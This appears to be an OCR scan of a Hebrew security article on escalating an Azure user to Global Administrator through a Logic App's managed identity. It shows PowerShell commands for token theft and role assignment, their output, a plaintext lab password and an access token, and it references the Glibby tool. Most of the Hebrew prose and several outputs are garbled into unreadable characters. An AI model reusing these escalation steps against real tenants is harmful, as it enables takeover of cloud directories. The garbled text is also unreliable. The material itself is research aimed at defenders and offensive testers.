NI7IY9 Y¥IA7 *TO |NP'VI .NT XKW1 7V 120Ny NYXIN 1NRN7 01191 INKRI NIVWO] 110X OY9N DA
12N ' AT DX 117 "WONNN Role-a 'TNin? 0'D"MY 1INIX (Azure Active Directory-a 7wn?)
API-7 nRWNN Service Principals-7 NN 0*71>' 13X INNTY21 APl Permissions X1j71 MUK 5011 NINYAN

21 0T 12200 7V Pniy'? AN n¥p 11aoni Andy Robbins 7w DYS 1Y NIN XWIIQ DII9N INKN .'O'¥D0

27 NI NP2 APl Permissions 1901 W'Y RIN NT 1ARN 0191 17 AIWNY NN .12 [12'0N1 NIFMTYaN
AN IR NNXKY 2'TNN RIN DR (NT7 2N wnn Yan? IR) RN 7Y 07NwnY qpin? nnwoxnn

AR NIRWANN

NNYONN IT NRWIN .RoleManagement.ReadWrite.Directory nXwINN NX Nyd 117 w' ,117W Nj7na
N12I0N DN APl Permission-n Y2 fIT .117W [IAON2 WNNWN 757 0'¥N 1NIRY Role NT'R 71avn7 117

79 12K 'TDN 0217 NPT NNINA )9IN IT IRWAN DR 7apnw Service Principal 721 nntpw
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https://digitalwhisper.co.il/files/Zines/0xA7/DW167-1-ManagedIdentitiesAzure.pdf
https://posts.specterops.io/managed-identity-attack-paths-part-2-logic-apps-52b29354fc54
https://posts.specterops.io/managed-identity-attack-paths-part-2-logic-apps-52b29354fc54
https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48

Technologic

NIN 1017 W' 90112 IIXN NT'N 201 NINYYW Nnd N7 APl Permission-2 wnnwin? X'N nx7nnn
NIDIONN NIRYINN NI IT NRYINA D'7'TNNY Service Principals 112y 17w n'Munnl nanon

.(Andy Robbins 7w a1nxkna niv11ONn1 N9 [N MNAT XY

.Glibby Nniy¥nx2a pn ANX%1 BARK NIY¥NNA OV AW NNIK WNN1 0T 72 DR 1120 INR DY)

2 D'Yyn? Int

.NTIAya 'wnil Powershell-n NX 21w NN

Access Token a'win7 nIn 7y Get-AzureRMTokenWithUsernamePassword nTI791 wnnwi n7'nN

:RM-7 n1¥j72 IN ,Azure Resource Manager-7 Weak User wnnwnn 112y

PS D:\Everything> Get-AzureRMTokenWithUsernamePassword -Username "weak_user@royrahamlgmail.onmicrosoft.com™ -Password "Qupu7929!" -TenantID "46676c00-(

token_type : Bearer

: https://management. azure. com/user_impersonation https://management.azure.com/.default

: 4259

i 4259

& eyJ0eXAi0iIKVIQiLCIhbGci01 I5UzI1N1 IsIngldC I6Inp4ZWeyV020CFRr d041R21 TWWNIVGROQZZKMCT s Imt pZCI 6 Inp4Z Wy V020 cFRr d041R21 TWWNIVGROQZZ KMCI9. ¢
amUu¥29tTiwi aXNzIjoiaHROCHM6ELy9zdHMud21uZGI3cy5uZXQvNDY 2NZZ JMDATMDUYM 1 00ZWIzLWIAMJELZ JASZTQ4NJRhNWVI Ly IsIm1hdC I6MTczMzAZNTY205w1 bmImI:|
mFjciI6IjE1LCIhaWsi EVFFEeSa!NUFBqUEJdGZSVNNZWnIyZ*dKNDIZWUtYS;MwUWEqL_NQMlJG\TZIEZF]REQZMFAZUFBU‘ThIUTJDthnkaxRDt1Umg(I1w1YW1yIM
UtNGT 3NCOS YmZ kL WRhY zTyNGE 3Y] g5 NC Ts ImFwcG 1 kYWNy T ] 01MCTsImdyb3Viwcy ToWy TyZWHMwOGRKZC 000 GVmL TRmY j ULOTBmZC 01MzRkMmUS ODMONZY 1 XSwi aWR0eXA101 1]
ibmFtZSI6I1d1YWsgVXNIC 'CI6I3711NWM5ZDczL TgONG TENDAYZ i 04N c1L Tg1MTM3Y2E0Y2EQYS Is InB1aWQi07 IxMDAZM jAWNDA1QOYyR kS I wi cmgi0i IxLkFVq|
dXRkUHVr UGF 3ZmoyTUJOTEFDN 41LC]1Zz¥3A101 THcGVyc29uYXRpb241 LCIzdWT 101 JUN25ZNGY: anYbTYwdlBWLVFUMGRJCEUIMJVdeMtVnMKUHVyM
WI11M3jEtZ JASZTQ4ANFRhNWVI Iiwi i 3VzZXIACcmI5 cmFoYWOXZ 21 hawwub25t aWl 1 iwidXBuljoid2vhal9lc2VyQHIveXJhaGl
I6TkRucksxcWpNcDBtd3dvDGdpV2toQVEi LCI2ZXTi( 13aWRz1jpbImI30WZ 17 jRKLTNTZjktNDY: ) NGU4NTUWOSIdLCI4bXNT aWRyZ Wwi 0 T:
32u8] pEkSPY70CcZzxVR36yRGUd j 95MIBeXTB3s creqs sUvBBysZQRSAKL j c4KrHrTC 3g4vo5 IvMbED1G19A4 TRL 0BxxcFZM71bFyZ jaZuRDISZK 1 cMn5 -113851FBAhUI
_qmgAC1q0808tSA_UHwTh7Phxt_7GK-gDROmznknGN1skPGQbEULKN_4mvL UmGFDgi0oJu9H9IFL1 -kg2aMGLEhatL tuPUHeIpt 1roQ1vF05 2A9IX2VNG6GWVEES dQE6k7 G3vIPC))

PS5 D:\Everything>

D'RN' X7 XINl RM-7 X71 Graph API-7 n'n Weak User 112y mawnw o Access Token-n :a% m'w
VN7 DDNY NNIX N7W DU 'YW DIWN NINT .U¥27 DY 1INIRY NI71V9Y7 NIRWIN N1'NaN
Resource -n 7In y¥xann n7l test-subscription 7y Owner 7w Role-n NX Weak User wnnwn?

.Manager API

test- 7V Owner Role-n NX Weak User-7 jp'avn%? '7'awa n72'pw Access Token-2 wnnwi nyd

:New-AzureRMRoleAssignment nTIP9N NIY¥NNI 0T NX NWY] .subscription

PS C:\Users\Roy> New-AzureRMRoleAssignment

properties

@{roleDefinitionId=/subscriptions/9a9cf9b6-c236-Ubcl-bT65-ed71c1d05618/providers/Microsoft. Authorization/roleDefinit. ..

PS C:\Users\Roy>

D'¥ININ DVNI9N NAYN 7Y 'WIPN DX QY YT DINTIM NNIKA INTay nTIipony nike N1
q0N19N 7Y WA DX DT NNIXA 12NY? TR 919 T2 Developer Tools NIN97 X M .NTIR9Y7

.NTIR9 NNIKA 021Y 0-UUID NYIY1 Unnun N ,90112 .Nnn X'7 - AzureRMRolelD
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707190 T N7Y NIMTENNN DX XTI IR

Technologic

=3 Microsoft Azure

A Search resources, services, and docs (G+/)

I © Copilot

Home > Subscriptions

Subscriptions  #

- Add [B) Manage Policies I= View Requests < View eligible subscriptiol
Showing subscriptions in Default Directory directory. Don't see a subscription? Switch d
Search for any field. Subscriptions : Filtered (5 of 5) My role == all

Subscription name Ty Subscription ID Ty

00459125-08dc-43fb-9600-3c342ace7c73
d39d9d07-6e5¢-460¢-a3a5-226fbdga311a
9f0216b5-970c-4345-bbas-17854b74ecea

147f381b-d35d-48e0-93a1-7de718062601

929cf9b6-c236-4bcd-b765-ed71c1d05610

L Exportto CsV

rectories

Status == all T Add filter

My role Ty
Reader
Reader
Reader

Reader

Current cost SecureScore Ty Parent management group T Status Ty
000 Tenant Root Group 9 Active
000 Tenant Root Group O Active
0.00 Tenant Root Group © Active
0.00 Tenant Root Group © Active
0.00 Tenant Root Group O Active

weak_user@royraham1...
[DEFAULT DIRECTORY (ROYRAHA.

.N7uN7 M T¥2 NAINXN NNA0N2 NIXYY [N1IY '9) weak_user NITYA 707197 11N2ANNN,IWXY 12T

2V 7on011 NuNY test-subscription-1 |*'N11 DX X ,0'-Subscription '1m 72 7V Reader NnRkwAN 17 W'

.Owner 117 ¥'¥ |'N11 I'7Y N7W NINYANN

.backup-logicapp 72vi1 devops-rg 7v Owner Da 117 W' test-subscription 7y Owner 117 W'w 1190 ,NYd

:backup-logicapp 7v nv> 75n01

Home > backup-logicapp

.2 backup-logicapp | Logic app designer

D orun v &

P Search

“a Overview

[@] parameters {} Codeview (=
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2N JSON-N NR NIXYYT 7210 1IK “Logic App Code View” 7w n17n'7 171 DX

<S> backup-logicapp | Logic app code view #
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© Run history
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N21A¥ Managed Identity-? w'w APl Permission-2 Wnnwal |NNRN 27wUn X Yyl ,NYd
Global - 90210 Role-n NX Weak User wnnwn? j'wii (RoleManagement.ReadWrite.Directory)

:New-EntraRoleAssignment nTIj79N NN7ya BARK OV IT N71y9 NX y¥17 [N .Administrator

PS D:\Everything> New-EntraRoleAssignment

@odata.context  : https://graph.microsoft.com/vl.8/$metadata#iroleManagement/directory/roleAssignments/$entity
id : LAPpYvVpNOKRKAEhdxReEIYrN13-L0JID197apb0BES0-1

principalld : 5d362b86—2cfe-U3e2-97de-daa5b3bcl3da

directoryScopeld : /

roleDefinitionId : 62e9039U-69f5-4237-9190-012177145e10

PS D:\Everything> |

IGlobal Administrators 1I1NIX ,0'9SNNWNAN 757 210 7 llan7xn

Home > Default Directo administrators | All roles > Global Admi

nts

2 Weak User | Assigned roles - X

+ Add assignments () Refresh 27 Got feedback?

Administrative roles

B Auditlogs Administrative roles can be used to grant access to Microsoft Entra ID and other Microsoft services. Learn more

2 Sign-in logs Search by name or description * Add filters

K Diagnose and solve problems Role 74  Description Resource Namu 7, Resource Type 7, AssignmentPath Ty, Type T,
J Custom security attributes O Can manage all aspects of Microsoft Entra ID and Microsoft  Directory Organization Direct Built-in

4. Assigned roles
2 Administrative units
& Groups
B Applications
@ licenses
[l Devices
Azure role assignments
@ Authentication methods

B New support request

.Glibby *72n nIv¥nKka DA 7"10 D2A7WUN 7D NN NWD Y¥1)

wnnwnn 11ny RM API-7 Access Token 7277 nan 7y get_access_token n'¥j72192 wnnwi n'7'nn

:NT Token N1TY2 RMOperations X1j71n Class 7W Instance 11x1 Weak User

.(61) subscription_id_from_name n'¥j2219n v N'ONIVIX test-subscription 7w ID-N NX '] ,|NON

.(65) get_role_definition n'¥j7219n N1Tva Owner Role-n 7w ID-N NX DA A'w)
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grant_iam_rolen'¥j7219n N1ty Weak User-7 test-subscription 7v Owner Role-n NX {7'2v1 ,91017

:(69)

backup- 7v n7un% 1MM20nwW N'X719'0 7D NN Y¥2'7 Nan 7y inject_logic_app N'¥j71191 wnNwi Nyd
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Access Token-n X¥n1 DWI BurpSuite-7 NWza NY'an QY9 AIWW Yaw] 72X NI 0N DI7'Y q'0IX X7
nin 7y a1 Token-2 wnnwal [NNXN 27U NX y¥11 .(Managed Identity-n) backup-logicapp 7w
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:(77) assign_role_to_object
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7annn 7y

,Web ,Windows Internals ,Active Directory-n 'ninna 12"o Jpin IX ,(0xRoyR) omn 'yin 'y
N ,NNAN 7Y DOYY 729N NN DDNYT NX VINWY TIND NAWRK .[IYXIA "IN InT .AWS ,AAD

"NX 3.I|7_U'7 I |'XTP? 172 "7 NII97 'wOIN IWAIN .0MY I 02T DO7 'MUTNYI DNY'NIY nipm

Q01102
n'oMaIan
:0"'»
e BloodHound - https://github.com/SpecterOps/BloodHound
e AzureHound - https://github.com/BloodHoundAD/AzureHound
e BARK - https://github.com/BloodHoundAD/BARK
e  Glibby (My Tool) - https://github.com/0xRoyR/Glibby
D"INKXN

:NoPNA NUITN IAM-1 Azure AD 7V "1nXn

e Roee Sagi - https://orca.security/resources/research-pod/azure-identity-access-managem

:Service Principals 7v " inxn

e  Karan Patel - https://redfoxsec.com/blog/azure-privilege-escalation-via-service-principal/

e Dirk-Jan Mollema - https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/

e Andy Robbins - https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-

210ae2be2a5

:Managed Identities 7y p'1nxn

e Sapir federovsky - https://digitalwhisper.co.il/files/Zines/0xA7/DW167-1-ManagedldentitiesAzure.pdf

e Andy Robbins - https://posts.specterops.io/managed-identity-attack-paths-part-1-automation-

accounts-82667d17187a

:Azure APl Permissions 7V D'"InxXn

e Andy Robbins - https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-

abuse-74aee1006f48\

e Sahil Malik - https://winsmarts.com/how-to-grant-admin-consent-to-an-api-programmatically-

e32f4a100e9d

e Sahil Malik - https://winsmarts.com/automating-application-permission-grant-while-avoiding-

approleassignment-readwrite-all-554a83d5b6f5
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https://www.linkedin.com/in/roy-rahamim
https://x.com/0xRoyR
https://github.com/SpecterOps/BloodHound
https://github.com/SpecterOps/BloodHound
https://github.com/BloodHoundAD/AzureHound
https://github.com/BloodHoundAD/AzureHound
https://github.com/BloodHoundAD/BARK
https://github.com/BloodHoundAD/BARK
https://github.com/0xRoyR/Glibby
https://github.com/0xRoyR/Glibby
https://orca.security/resources/research-pod/azure-identity-access-management-iam-active-directory-ad/
https://redfoxsec.com/blog/azure-privilege-escalation-via-service-principal/
https://redfoxsec.com/blog/azure-privilege-escalation-via-service-principal/
https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/
https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/
https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5
https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5
https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5
https://digitalwhisper.co.il/files/Zines/0xA7/DW167-1-ManagedIdentitiesAzure.pdf
https://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a
https://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a
https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48/
https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48/
https://winsmarts.com/how-to-grant-admin-consent-to-an-api-programmatically-e32f4a100e9d
https://winsmarts.com/how-to-grant-admin-consent-to-an-api-programmatically-e32f4a100e9d
https://winsmarts.com/automating-application-permission-grant-while-avoiding-approleassignment-readwrite-all-554a83d5b6f5
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